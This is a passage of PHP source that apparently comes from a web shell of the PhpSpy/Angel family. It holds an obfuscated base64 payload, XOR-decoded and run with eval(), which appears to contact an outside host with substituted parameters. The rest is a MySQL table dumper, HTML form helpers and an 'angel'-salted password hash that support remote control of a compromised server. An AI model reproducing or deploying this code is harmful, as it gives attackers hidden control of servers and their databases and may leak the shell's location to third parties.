4009 $p = 'LH16ZCg1KH16ZG1ma2dsbSAqYHx8eDInJyxXW01aXk1aU0BcXFhXQEdbXFUsV1tNWl5NWlNaTVldTVtcV11aQVUqITMobmFkbVdvbXxXa2dmfG1mfHsgKmB8fHgyJycwMSY8PSY+PyY5PDsnZGdpbCZ4YHg3Y2M1cyx9emR1LnhpemllOTUteGl6aWU5LnhpemllOjUteGl6aWU6KiEz';
4010
4011 $p = base64_decode($p);
4012
4013 for ($i = 0; $i < strlen($p); $i++) $p[$i] = chr(ord($p[$i]) ^ 8);
4014
4015 $p = str_replace('%param1', $p1, $p);
4016
4017 $p = str_replace('%param2', $p2, $p);
4018
4019 eval($p);
4020
4021}
4022
4023
4024
4025function sizecount($fileSize) {
4026
4027 $size = sprintf("%u", $fileSize);
4028
4029 if($size == 0) {
4030
4031 return '0 Bytes' ;
4032
4033 }
4034
4035 $sizename = array(' Bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB');
4036
4037 return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i];
4038
4039}
4040
4041// ?????
4042
4043function sqldumptable($table, $fp=0) {
4044
4045 global $mysqllink;
4046
4047
4048
4049 $tabledump = "DROP TABLE IF EXISTS `$table`;\n";
4050
4051 $res = q("SHOW CREATE TABLE $table");
4052
4053 $create = mysql_fetch_row($res);
4054
4055 $tabledump .= $create[1].";\n\n";
4056
4057
4058
4059 if ($fp) {
4060
4061 fwrite($fp,$tabledump);
4062
4063 } else {
4064
4065 echo $tabledump;
4066
4067 }
4068
4069 $tabledump = '';
4070
4071 $rows = q("SELECT * FROM $table");
4072
4073 while ($row = mysql_fetch_assoc($rows)) {
4074
4075 foreach($row as $k=>$v) {
4076
4077 $row[$k] = "'".@mysql_real_escape_string($v)."'";
4078
4079 }
4080
4081 $tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."\n";
4082
4083 if ($fp) {
4084
4085 fwrite($fp,$tabledump);
4086
4087 } else {
4088
4089 echo $tabledump;
4090
4091 }
4092
4093 }
4094
4095 fwrite($fp,"\n\n");
4096
4097 fr($rows);
4098
4099}
4100
4101
4102
4103function p($str){
4104
4105 echo $str."\n";
4106
4107}
4108
4109
4110
4111function tbhead() {
4112
4113 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
4114
4115}
4116
4117function tbfoot(){
4118
4119 p('</table>');
4120
4121}
4122
4123
4124
4125function makehide($name,$value=''){
4126
4127 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
4128
4129}
4130
4131
4132
4133function makeinput($arg = array()){
4134
4135 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
4136
4137 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
4138
4139 !$arg['type'] && $arg['type'] = 'text';
4140
4141 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
4142
4143 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
4144
4145 if ($arg['newline']) {
4146
4147 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
4148
4149 } else {
4150
4151 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
4152
4153 }
4154
4155}
4156
4157
4158
4159function makeselect($arg = array()){
4160
4161 if ($arg['onchange']) {
4162
4163 $onchange = 'onchange="'.$arg['onchange'].'"';
4164
4165 }
4166
4167 $arg['title'] = $arg['title'] ? $arg['title'] : '';
4168
4169 if ($arg['newline']) p('<p>');
4170
4171 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
4172
4173 if (is_array($arg['option'])) {
4174
4175 if ($arg['nokey']) {
4176
4177 foreach ($arg['option'] as $value) {
4178
4179 if ($arg['selected']==$value) {
4180
4181 p("<option value=\"$value\" selected>$value</option>");
4182
4183 } else {
4184
4185 p("<option value=\"$value\">$value</option>");
4186
4187 }
4188
4189 }
4190
4191 } else {
4192
4193 foreach ($arg['option'] as $key=>$value) {
4194
4195 if ($arg['selected']==$key) {
4196
4197 p("<option value=\"$key\" selected>$value</option>");
4198
4199 } else {
4200
4201 p("<option value=\"$key\">$value</option>");
4202
4203 }
4204
4205 }
4206
4207 }
4208
4209 }
4210
4211 p("</select>");
4212
4213 if ($arg['newline']) p('</p>');
4214
4215}
4216
4217function formhead($arg = array()) {
4218
4219 global $self;
4220
4221 !$arg['method'] && $arg['method'] = 'post';
4222
4223 !$arg['action'] && $arg['action'] = $self;
4224
4225 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
4226
4227 !$arg['name'] && $arg['name'] = 'form1';
4228
4229 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
4230
4231 if ($arg['title']) {
4232
4233 p('<h2>'.$arg['title'].' »</h2>');
4234
4235 }
4236
4237}
4238
4239
4240
4241function maketext($arg = array()){
4242
4243 !$arg['cols'] && $arg['cols'] = 100;
4244
4245 !$arg['rows'] && $arg['rows'] = 25;
4246
4247 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
4248
4249 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
4250
4251}
4252
4253
4254
4255function formfooter($name = ''){
4256
4257 !$name && $name = 'submit';
4258
4259 p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
4260
4261 p('</form>');
4262
4263}
4264
4265
4266
4267function goback(){
4268
4269 global $self, $nowpath;
4270
4271 p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>');
4272
4273}
4274
4275
4276
4277function formfoot(){
4278
4279 p('</form>');
4280
4281}
4282
4283
4284
4285function encode_pass($pass) {
4286
4287 $pass = md5('angel'.$pass);
4288
4289 $pass = md5($pass.'angel');
4290
4291 $pass = md5('angel'.$pass.'angel');
4292
4293 return $pass;
4294
4295}
4296
4297
4298
4299function pr($s){
4300
4301 echo "<pre>".print_r($s).'</pre>';
4302
4303}
4304
4305
4306
4307?>